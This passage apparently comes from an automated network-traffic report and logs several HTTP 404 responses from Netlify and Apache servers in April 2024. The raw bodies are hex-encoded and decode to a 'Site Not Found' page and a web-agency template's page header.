61 72 64 54 69 74 6c 65 43 61 72 64 3a 23 32 44 33 42 34 31 3b 2d 2d 63 6f 6c 6f 72 53 74 61 63 6b 54 65 78 74 3a 23 32 32 32 3b 2d 2d 63 6f 6c 6f 72 43 6f 64 65 54 65 78 74 3a 23 46 35 46 35 46 35 7d 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 73 65 67 6f 65 20 75 69 2c 52 6f 62 6f 74 6f 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 2c 61 70 70 6c 65 20 63 6f 6c 6f 72 20 65 6d 6f 6a 69 2c 73 65 67 6f 65 20 75 69 20 65 6d 6f 6a 69 2c 73 65 67 6f 65 20 75 69 20 73 79 6d 62 6f 6c 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 33 34 33 38 33 63 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 35 7d 68 31 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 33 37 35 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 7d 2e 6d 61 69 6e 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 77 69 64 74 68 3a 31 30 30 76 77
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlDate: Tue, 16 Apr 2024 10:00:53 GMTServer: NetlifyX-Nf-Request-Id: 01HVK5MBYG15N8ZTVMHJ1MWWT5Connection: closeTransfer-Encoding: chunkedData Raw: 39 64 38 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 3c 74 69 74 6c 65 3e 53 69 74 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3a 72 6f 6f 74 7b 2d 2d 63 6f 6c 6f 72 44 65 66 61 75 6c 74 54 65 78 74 43 6f 6c 6f 72 3a 23 41 33 41 39 41 43 3b 2d 2d 63 6f 6c 6f 72 44 65 66 61 75 6c 74 54 65 78 74 43 6f 6c 6f 72 43 61 72 64 3a 23 32 44 33 42 34 31 3b 2d 2d 63 6f 6c 6f 72 42 67 41 70 70 3a 72 67 62 28 31 34 2c 20 33 30 2c 20 33 37 29 3b 2d 2d 63 6f 6c 6f 72 42 67 49 6e 76 65 72 73 65 3a 68 73 6c 28 31 37 35 2c 20 34 38 25 2c 20 39 38 25 29 3b 2d 2d 63 6f 6c 6f 72 54 65 78 74 4d 75 74 65 64 3a 72 67 62 28 31 30 30 2c 20 31 31 30 2c 20 31 31 35 29 3b 2d 2d 63 6f 6c 6f 72 45 72 72 6f 72 3a 23 44 33 32 32 35 34 3b 2d 2d 63 6f 6c 6f 72 42 67 43 61 72 64 3a 23 66 66 66 3b 2d 2d 63 6f 6c 6f 72 53 68 61 64 6f 77 3a 23 30 65 31 65 32 35 31 66 3b 2d 2d 63 6f 6c 6f 72 45 72 72 6f 72 54 65 78 74 3a 72 67 62 28 31 34 32 2c 20 31 31 2c 20 34 38 29 3b 2d 2d 63 6f 6c 6f 72 43 61 72 64 54 69 74 6c 65 43 61 72 64 3a 23 32 44 33 42 34 31 3b 2d 2d 63 6f 6c 6f 72 53 74 61 63 6b 54 65 78 74 3a 23 32 32 32 3b 2d 2d 63 6f 6c 6f 72 43 6f 64 65 54 65 78 74 3a 23 46 35 46 35 46 35 7d 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 73 65 67 6f 65 20 75 69 2c 52 6f 62 6f 74 6f 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 2c 61 70 70 6c 65 20 63 6f 6c 6f 72 20 65 6d 6f 6a 69 2c 73 65 67 6f 65 20 75 69 20 65 6d 6f 6a 69 2c 73 65 67 6f 65 20 75 69 20 73 79 6d 62 6f 6c 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 33 34 33 38 33 63 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 35 7d 68 31 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 33 37 35 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 7d 2e 6d 61 69 6e 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 77 69 64 74 68 3a 31 30 30 76 77
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlDate: Tue, 16 Apr 2024 10:00:56 GMTServer: NetlifyX-Nf-Request-Id: 01HVK5MEGTM54BM3C6NFASF488Connection: closeTransfer-Encoding: chunkedData Raw: 39 64 38 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 3c 74 69 74 6c 65 3e 53 69 74 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3a 72 6f 6f 74 7b 2d 2d 63 6f 6c 6f 72 44 65 66 61 75 6c 74 54 65 78 74 43 6f 6c 6f 72 3a 23 41 33 41 39 41 43 3b 2d 2d 63 6f 6c 6f 72 44 65 66 61 75 6c 74 54 65 78 74 43 6f 6c 6f 72 43 61 72 64 3a 23 32 44 33 42 34 31 3b 2d 2d 63 6f 6c 6f 72 42 67 41 70 70 3a 72 67 62 28 31 34 2c 20 33 30 2c 20 33 37 29 3b 2d 2d 63 6f 6c 6f 72 42 67 49 6e 76 65 72 73 65 3a 68 73 6c 28 31 37 35 2c 20 34 38 25 2c 20 39 38 25 29 3b 2d 2d 63 6f 6c 6f 72 54 65 78 74 4d 75 74 65 64 3a 72 67 62 28 31 30 30 2c 20 31 31 30 2c 20 31 31 35 29 3b 2d 2d 63 6f 6c 6f 72 45 72 72 6f 72 3a 23 44 33 32 32 35 34 3b 2d 2d 63 6f 6c 6f 72 42 67 43 61 72 64 3a 23 66 66 66 3b 2d 2d 63 6f 6c 6f 72 53 68 61 64 6f 77 3a 23 30 65 31 65 32 35 31 66 3b 2d 2d 63 6f 6c 6f 72 45 72 72 6f 72 54 65 78 74 3a 72 67 62 28 31 34 32 2c 20 31 31 2c 20 34 38 29 3b 2d 2d 63 6f 6c 6f 72 43 61 72 64 54 69 74 6c 65 43 61 72 64 3a 23 32 44 33 42 34 31 3b 2d 2d 63 6f 6c 6f 72 53 74 61 63 6b 54 65 78 74 3a 23 32 32 32 3b 2d 2d 63 6f 6c 6f 72 43 6f 64 65 54 65 78 74 3a 23 46 35 46 35 46 35 7d 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 73 65 67 6f 65 20 75 69 2c 52 6f 62 6f 74 6f 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 2c 61 70 70 6c 65 20 63 6f 6c 6f 72 20 65 6d 6f 6a 69 2c 73 65 67 6f 65 20 75 69 20 65 6d 6f 6a 69 2c 73 65 67 6f 65 20 75 69 20 73 79 6d 62 6f 6c 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 33 34 33 38 33 63 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 35 7d 68 31 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 33 37 35 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 7d 2e 6d 61 69 6e 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 77 69 64 74 68 3a 31 30 30 76 77
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlDate: Tue, 16 Apr 2024 10:00:59 GMTServer: NetlifyX-Nf-Request-Id: 01HVK5MH2VHJ14N108E9M8MFJMConnection: closeTransfer-Encoding: chunkedData Raw: 39 64 38 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 3c 74 69 74 6c 65 3e 53 69 74 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3a 72 6f 6f 74 7b 2d 2d 63 6f 6c 6f 72 44 65 66 61 75 6c 74 54 65 78 74 43 6f 6c 6f 72 3a 23 41 33 41 39 41 43 3b 2d 2d 63 6f 6c 6f 72 44 65 66 61 75 6c 74 54 65 78 74 43 6f 6c 6f 72 43 61 72 64 3a 23 32 44 33 42 34 31 3b 2d 2d 63 6f 6c 6f 72 42 67 41 70 70 3a 72 67 62 28 31 34 2c 20 33 30 2c 20 33 37 29 3b 2d 2d 63 6f 6c 6f 72 42 67 49 6e 76 65 72 73 65 3a 68 73 6c 28 31 37 35 2c 20 34 38 25 2c 20 39 38 25 29 3b 2d 2d 63 6f 6c 6f 72 54 65 78 74 4d 75 74 65 64 3a 72 67 62 28 31 30 30 2c 20 31 31 30 2c 20 31 31 35 29 3b 2d 2d 63 6f 6c 6f 72 45 72 72 6f 72 3a 23 44 33 32 32 35 34 3b 2d 2d 63 6f 6c 6f 72 42 67 43 61 72 64 3a 23 66 66 66 3b 2d 2d 63 6f 6c 6f 72 53 68 61 64 6f 77 3a 23 30 65 31 65 32 35 31 66 3b 2d 2d 63 6f 6c 6f 72 45 72 72 6f 72 54 65 78 74 3a 72 67 62 28 31 34 32 2c 20 31 31 2c 20 34 38 29 3b 2d 2d 63 6f 6c 6f 72 43 61 72 64 54 69 74 6c 65 43 61 72 64 3a 23 32 44 33 42 34 31 3b 2d 2d 63 6f 6c 6f 72 53 74 61 63 6b 54 65 78 74 3a 23 32 32 32 3b 2d 2d 63 6f 6c 6f 72 43 6f 64 65 54 65 78 74 3a 23 46 35 46 35 46 35 7d 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 73 65 67 6f 65 20 75 69 2c 52 6f 62 6f 74 6f 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 2c 61 70 70 6c 65 20 63 6f 6c 6f 72 20 65 6d 6f 6a 69 2c 73 65 67 6f 65 20 75 69 20 65 6d 6f 6a 69 2c 73 65 67 6f 65 20 75 69 20 73 79 6d 62 6f 6c 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 33 34 33 38 33 63 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 35 7d 68 31 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 33 37 35 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 7d 2e 6d 61 69 6e 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 77 69 64 74 68 3a 31 30 30 76 77
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Apr 2024 10:01:04 GMTServer: ApacheContent-Length: 11834Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 44 47 69 74 61 6c 20 2d 20 44 69 67 69 74 61 6c 20 41 67 65 6e 63 79 20 48 54 4d 4c 20 54 65 6d 70 6c 61 74 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 46 61 76 69 63 6f 6e 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 72 65 6c 3d 22 69 63 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 57 65 62 20 46 6f 6e 74 73 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 48 65 65 62 6f 3a 77 67 68 74 40 34 30 30 3b 35 30 30 26 66 61 6d 69 6c 79 3d 4a 6f 73 74 3a 77 67 68 74 40 35 30 30 3b 36 30 30 3b 37 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 20 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 49 63 6f 6e 20 46 6f 6e 74 20 53 74 79 6c 65 73 68 65 65 74 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2f 35 2e 31 30 2e 30 2f 63 73 73 2f 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 6a 73 64 65 6c 69 76 72 2e 6e 65 74 2f 6e 70 6d 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 40 31 2e 34 2e 31 2f 66 6f 6e 74 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 4c 69 62 72 61 72 69 65 73
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Apr 2024 10:01:07 GMTServer: ApacheContent-Length: 11834Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 44 47 69 74 61 6c 20 2d 20 44 69 67 69 74 61 6c 20 41 67 65 6e 63 79 20 48 54 4d 4c 20 54 65 6d 70 6c 61 74 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 46 61 76 69 63 6f 6e 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 72 65 6c 3d 22 69 63 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 57 65 62 20 46 6f 6e 74 73 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 48 65 65 62 6f 3a 77 67 68 74 40 34 30 30 3b 35 30 30 26 66 61 6d 69 6c 79 3d 4a 6f 73 74 3a 77 67 68 74 40 35 30 30 3b 36 30 30 3b 37 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 20 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 49 63 6f 6e 20 46 6f 6e 74 20 53 74 79 6c 65 73 68 65 65 74 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2f 35 2e 31 30 2e 30 2f 63 73 73 2f 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 6a 73 64 65 6c 69 76 72 2e 6e 65 74 2f 6e 70 6d 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 40 31 2e 34 2e 31 2f 66 6f 6e 74 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 4c 69 62 72 61 72 69 65 73
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Apr 2024 10:01:10 GMTServer: ApacheContent-Length: 11834Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 44 47 69 74 61 6c 20 2d 20 44 69 67 69 74 61 6c 20 41 67 65 6e 63 79 20 48 54 4d 4c 20 54 65 6d 70 6c 61 74 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 46 61 76 69 63 6f 6e 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 72 65 6c 3d 22 69 63 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 57 65 62 20 46 6f 6e 74 73 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 48 65 65 62 6f 3a 77 67 68 74 40 34 30 30 3b 35 30 30 26 66 61 6d 69 6c 79 3d 4a 6f 73 74 3a 77 67 68 74 40 35 30 30 3b 36 30 30 3b 37 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 20 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 49 63 6f 6e 20 46 6f 6e 74 20 53 74 79 6c 65 73 68 65 65 74 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2f 35 2e 31 30 2e 30 2f 63 73 73 2f 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 6a 73 64 65 6c 69 76 72 2e 6e 65 74 2f 6e 70 6d 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 40 31 2e 34 2e 31 2f 66 6f 6e 74 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 